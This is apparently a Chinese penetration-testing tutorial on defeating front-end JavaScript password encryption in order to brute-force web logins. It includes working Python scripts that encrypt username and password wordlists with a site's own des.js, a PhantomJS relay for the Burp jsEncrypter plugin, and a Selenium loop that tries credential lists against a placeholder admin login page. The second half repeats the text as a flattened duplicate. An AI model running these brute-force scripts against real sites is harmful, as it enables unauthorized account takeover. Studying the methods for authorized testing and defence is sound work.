突破前端加密方法总结
字数 1065 2025-08-25 22:58:29

突破前端加密方法总结

0x00 执行加密的JS文件生成加密内容

方法概述

当遇到前端加密传输(如密码加密)时,可以通过执行加密的JS文件来生成加密内容。例如,网站可能使用des.js这样的加密文件对密码进行加密。

实现步骤

  1. 获取加密JS文件:从页面源代码中找到加密JS文件(如https://yyy.xxx.com/assets/des/des.js

  2. 安装必要工具

    pip install PyExecJS
    # 可选安装PhantomJS
    
  3. Python脚本实现

    import execjs
    
    def mzDes(s, para):
        despara = execjs.get('phantomjs').compile(s).call("strEnc", para, "csc", "mz", "2017")
        return despara
    
    with open('des.js', 'r') as mzCrypto:
        s = mzCrypto.read()
        # 加密用户名
        with open('users.txt', 'r') as users:
            with open('des_users.txt', 'w') as f4DesUser:
                for u in users:
                    uname = u.strip()
                    desUsername = mzDes(s, uname)
                    f4DesUser.write(desUsername+'\n')
        # 加密密码
        with open('pwdTop54.txt', 'r') as pwds:
            with open('des_pwds.txt', 'w') as f4DesPwd:
                for p in pwds:
                    passwd = p.strip()
                    desPassword = mzDes(s, passwd)
                    f4DesPwd.write(desPassword+'\n')
    
  4. 爆破应用

    • 使用BurpSuite加载加密后的字典进行爆破
    • 或使用Python脚本实现单线程爆破

0x01 BurpSuite插件jsEncrypter

安装配置

  1. 安装PhantomJS
  2. 下载jsEncrypter插件:https://github.com/c0ny1/jsEncrypter

实现方法

  1. 编写对应的jsEncrypter_des.js

    var webserver = require('webserver');
    server = webserver.create();
    var host = '127.0.0.1';
    var port = '1664';
    
    // 加载加密JS
    var wasSuccessful = phantom.injectJs('des.js');
    
    function js_encrypt(payload){
        return strEnc(payload,"key","para0","para1");
    }
    
    var service = server.listen(host+':'+port,function(request, response){
        try{
            if(request.method == 'POST'){
                var payload = request.post['payload'];
                var encrypt_payload = js_encrypt(payload); 
                response.statusCode = 200;
                response.write(encrypt_payload.toString());
                response.close();
            }
        }catch(e){
            phantom.exit();
        }   
    });
    
  2. 启动服务后,在BurpSuite中使用jsEncrypter插件

0x02 理解JS加密算法

常见方法

  1. 简单加密:如MD5/SHA1,可直接用Python实现
  2. 复杂加密:需要调试JS代码
  3. BurpSuite自带功能:Intruder模块提供多种加密选项

处理技巧

  • 对于混淆的JS代码,可以使用AST反混淆工具
  • 使用浏览器开发者工具调试加密过程

0x03 浏览器自动化爆破

使用Selenium实现

  1. 安装配置

    pip install selenium
    # 下载对应浏览器驱动并加入环境变量
    
  2. 基础爆破脚本

    from selenium import webdriver
    import time
    
    def BruteLogin(user, pwd):
        browser.get('http://xxx.cn/manage/login.aspx')
        browser.find_element_by_name("name").send_keys(user)
        browser.find_element_by_name("pws").send_keys(pwd)
        browser.find_element_by_id("submit").click()
        time.sleep(1)
        if '当前用户' in browser.page_source:
            print('Login Success:' + user + '|' + pwd)
    
    browser = webdriver.Chrome()
    with open('usernameTop500.txt','r') as fuser:
        for user in fuser:
            with open('topwdglobal.txt','r') as fpwd:
                for pwd in fpwd:
                    BruteLogin(user.strip(), pwd.strip())
    browser.quit()
    
  3. 处理复杂元素

    • 使用ActionChains处理不能直接定位的元素
    from selenium.webdriver.common import action_chains, keys
    
    action = action_chains.ActionChains(browser)
    action.send_keys("document.getElementsByName('btn_submit')[0].click()"+keys.Keys.ENTER)
    action.perform()
    

0x04 其他方法

1. 中间服务器

搭建中继服务进行加密后再转发给目标服务器

2. 断点调试JS

  • 使用浏览器开发者工具设置断点
  • 修改关键参数值

3. Fiddler替换JS

  • 使用Fiddler拦截并替换JS文件

4. 油猴脚本Hook

  • 编写油猴脚本Hook关键加密函数

注意事项

  1. 动态因子处理:如遇到结合cookie或请求参数中动态值的加密,需要根据实际情况调整爆破脚本
  2. 性能优化:Python执行JS效率不高时,可考虑:
    • 使用Node.js编写API服务
    • 多线程/多进程处理
  3. 混淆JS处理:对于混淆的JS代码,可以使用:
    • AST反混淆工具
    • 动态调试分析

工具推荐

  1. PyExecJS:执行JS代码
  2. PhantomJS:无头浏览器
  3. Selenium:浏览器自动化
  4. jsEncrypter:BurpSuite插件
  5. Fiddler:HTTP调试代理
  6. 油猴脚本:Hook关键函数

通过以上方法,可以有效应对各种前端加密场景,实现安全测试目的。

突破前端加密方法总结 0x00 执行加密的JS文件生成加密内容 方法概述 当遇到前端加密传输(如密码加密)时,可以通过执行加密的JS文件来生成加密内容。例如,网站可能使用 des.js 这样的加密文件对密码进行加密。 实现步骤 获取加密JS文件 :从页面源代码中找到加密JS文件(如 https://yyy.xxx.com/assets/des/des.js ) 安装必要工具 : Python脚本实现 : 爆破应用 : 使用BurpSuite加载加密后的字典进行爆破 或使用Python脚本实现单线程爆破 0x01 BurpSuite插件jsEncrypter 安装配置 安装PhantomJS 下载jsEncrypter插件:https://github.com/c0ny1/jsEncrypter 实现方法 编写对应的 jsEncrypter_des.js : 启动服务后,在BurpSuite中使用jsEncrypter插件 0x02 理解JS加密算法 常见方法 简单加密 :如MD5/SHA1,可直接用Python实现 复杂加密 :需要调试JS代码 BurpSuite自带功能 :Intruder模块提供多种加密选项 处理技巧 对于混淆的JS代码,可以使用AST反混淆工具 使用浏览器开发者工具调试加密过程 0x03 浏览器自动化爆破 使用Selenium实现 安装配置 : 基础爆破脚本 : 处理复杂元素 : 使用ActionChains处理不能直接定位的元素 0x04 其他方法 1. 中间服务器 搭建中继服务进行加密后再转发给目标服务器 2. 断点调试JS 使用浏览器开发者工具设置断点 修改关键参数值 3. Fiddler替换JS 使用Fiddler拦截并替换JS文件 4. 油猴脚本Hook 编写油猴脚本Hook关键加密函数 注意事项 动态因子处理 :如遇到结合cookie或请求参数中动态值的加密,需要根据实际情况调整爆破脚本 性能优化 :Python执行JS效率不高时,可考虑: 使用Node.js编写API服务 多线程/多进程处理 混淆JS处理 :对于混淆的JS代码,可以使用: AST反混淆工具 动态调试分析 工具推荐 PyExecJS :执行JS代码 PhantomJS :无头浏览器 Selenium :浏览器自动化 jsEncrypter :BurpSuite插件 Fiddler :HTTP调试代理 油猴脚本 :Hook关键函数 通过以上方法,可以有效应对各种前端加密场景,实现安全测试目的。